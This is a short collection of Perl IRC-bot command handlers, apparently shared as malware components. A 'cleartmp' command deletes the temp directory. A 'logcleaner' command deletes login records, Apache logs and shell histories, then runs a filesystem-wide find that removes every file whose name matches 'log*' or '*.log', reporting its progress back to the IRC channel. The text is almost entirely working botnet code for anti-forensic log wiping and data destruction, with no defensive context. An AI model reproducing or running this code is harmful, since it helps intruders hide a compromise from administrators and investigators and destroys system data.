Clear Temp [ Bot IRC with Perl ]


if ($svrmsg=~/cleartmp/) {
system 'RMDIR /S /Q %TMP%';
print $connect "PRIVMSG ",$channel," :Temp File is Cleaned\r\n";
}

Log Cleaner [ Linux ] [ Bot IRC with Perl ]

Log Cleaner [ Linux ] [ Bot IRC with Perl ]

if ($funcarg =~ /^logcleaner/) {
print $connect "PRIVMSG ",$channel," :[Log-Cleaner] : This process can be long, just wait\r\n";
system 'rm -rf /var/log/lastlog';
system 'rm -rf /var/log/wtmp';
system 'rm -rf /etc/wtmp';
system 'rm -rf /var/run/utmp';
system 'rm -rf /etc/utmp';
system 'rm -rf /var/log';
system 'rm -rf /var/logs';
system 'rm -rf /var/adm';
system 'rm -rf /var/apache/log';
system 'rm -rf /var/apache/logs';
system 'rm -rf /usr/local/apache/log';
system 'rm -rf /usr/local/apache/logs';
system 'rm -rf /root/.bash_history';
system 'rm -rf /root/.ksh_history';
print $connect "PRIVMSG ",$channel," :[Log-Cleaner] : All D3fault log erased\r\n";
sleep 1;
print $connect "PRIVMSG ",$channel," :[Log-Cleaner] : Erasing the machine log files\r\n";
system 'find / -name *.bash_history -exec rm -rf {} \;';
system 'find / -name *.bash_logout -exec rm -rf {} \;';
system 'find / -name "log*" -exec rm -rf {} \;';
system 'find / -name *.log -exec rm -rf {} \;';
sleep 1;
print $connect "PRIVMSG ",$channel," :[Log-Cleaner] : Done! All logs erased\r\n";
}